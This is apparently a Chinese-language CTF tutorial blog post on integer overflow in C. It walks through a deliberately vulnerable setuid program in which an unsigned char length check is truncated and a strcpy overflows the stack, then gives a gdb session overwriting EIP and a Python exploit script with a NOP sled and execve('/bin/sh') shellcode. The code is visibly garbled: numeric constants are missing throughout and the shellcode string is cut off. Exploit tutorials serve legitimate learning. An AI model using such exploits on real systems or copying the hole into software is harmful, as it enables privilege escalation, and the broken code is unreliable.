PWN INTEGER OVERFLOW 整数溢出

0x00      Preview

　　Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:

0x01  Integer Overflow —— What's ?

　　Storing a value greater than maximun supported value is called integer overflow. 但是呢，这个也仅仅是overflow，不能造成代码执行（英文真的写不下去了。。。随心写了。。）。

首先我们来看一下C语言的 一些类型的对应的字节大小(摘自CTF WIKI)

short int	2byte(word)	0~32767(0~0x7fff)  -32768~-1(0x8000~0xffff)
unsigned short int	2byte(word)	0~65535(0~0xffff)
int	4byte(dword)	0~2147483647(0~0x7fffffff)  -2147483648~-1(0x80000000~0xffffffff)
unsigned int	4byte(dword)	0~4294967295(0~0xffffffff)
long int	8byte(qword)	正: 0~0x7fffffffffffffff  负: 0x8000000000000000~0xffffffffffffffff
unsigned long int	8byte(qword)	0~0xffffffffffffffff

之后我将CTF wiki上的总结了一下如下：

注意：大的范围转给小的范围的数，会造成截断，这是内存分布结构所导致的，下面示例中会讲到

0x02   How?

这里我先拿某位大神的示例，并说出我的观点

示例代码：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[];
 unsigned char passwd_len = strlen(passwd); /* [1] */
 if(passwd_len >=  && passwd_len <= ) { /* [2] */
  printf("Valid Password\n"); /* [3] */
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-);
 }
 validate_uname(argv[]);
 validate_passwd(argv[]);
 return ;
}

去除保护措施编译：

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

我们先来分析一下代码：

前两个函数没什么问题，第三个函数开始：

传入一个字符串（大小任意）——>定义11大小数组，每个单位为uchar字节（共11*1byte）

——> 获取密码长度，但是uchar（256）

——>  通过检测则复制密码到数组

——> 不通过则gg

——> 主函数没什么问题

思考：

第一个漏洞点：uchar 的len，因为长度为256，当大于256就会截断，如输入261（‭0001 0000 0101‬），截断后（后uchar字节的数）：5（0101），所以len会变为5

第二个漏洞点：基本的栈溢出，就是复制密码到数组

结合两个漏洞点，因为shellcode一般是40多字节（排除任意长度大神），能存储的地方是buf，passwd，buf长度限制，用来溢出，passwd我们用来存储shellcode

步骤：

1、整数溢出过检测

2、栈溢出执行代码

0X03 Do the Exp

反编译程序第三个函数：

这是我64位的结果，提供借鉴，但是作者的环境是x86，显示的可能不一样，我这里引入某大佬的调试过程：

Reading symbols from vuln...done.
(gdb) b validate_passwd
Breakpoint  at 0x804850d: file vuln.c, line .
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`

Breakpoint , validate_passwd (
    passwd=0xbffff6b6 'A' <repeats  times>...) at vuln.c:
     unsigned char passwd_len = strlen(passwd); /* [1] */
(gdb) n　　　　　　　　//单步调试，想看看执行到了我们认为的关键的代码没有，很明显这儿还不是关键代码
     if(passwd_len >=  && passwd_len <= ) { /* [2] */
(gdb) n
      printf("Valid Password\n"); /* [3] */
(gdb) p passwd_len　　//这儿是关键处了，但是如果是正确的话，passwd_len 应该是'A',很可能是程序还没真正执行到
$ =  '\005'
(gdb) n
Valid Password
      fflush(stdout);
(gdb) n
      strcpy(passwd_buf,passwd); /* [4] */
(gdb) n
     store_passwd_indb(passwd_buf); /* [6] */
(gdb) p passwd_len　　　　//好终于到了我们想要的地方了
$ =  'A'
(gdb) p &passwd_len　　　//passwd_len的地址，既然利用的是栈，我们在乎的是内存布局
$ = (unsigned char *) 0xbffff46f 'A' <repeats  times>...
(gdb) p buf　　　　　　　　//手误，没有任何原因
$ = 0x0
(gdb) n
    }
(gdb) p passwd_buf　　　　//passwd_buf的值也对了
$ = 'A' <repeats  times>
(gdb) p &passwd_buf[]　　//passwd_buf的地址也和我们想象的一样
$ = 0xbffff464 'A' <repeats  times>...
(gdb) p/x $eip　　　　　　//很明显还没有被覆盖
$ = 0x8048578
(gdb) p/x $ebp　　　　　　//这个真的不是在凑字数，ebp的地址很重要
$ = 0xbffff478
(gdb) n
0x41414141 in ?? ()
(gdb) p/x $eip　　　　　　//好，已经覆盖了
$ = 0x41414141
(gdb) p/x $ebp
$ = 0x41414141
(gdb)

嗯，差不多能ret我们输入的shellcode，没错我比较愚笨所以输入了10次26字母加一个字母

堆栈结构什么的我就直接复制粘贴了：

说明一下我个人的观点：

1、 alignment space，对齐空间，即字节对齐，具体看https://www.cnblogs.com/clover-toeic/p/3853132.html

这里注意的是，char先定义，所以按char来算，就是在buf[8-11]和len之间填4个字节

2、RET 后面跟EBP之前说过，不多说了

shellcode：

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"

#Stack address where shellcode is copied.
ret_addr = 0xbffff4e0

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$

#endianess convertion
def conv(num):
 return struct.pack("<I",num) #chunk + ReturnAdress + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])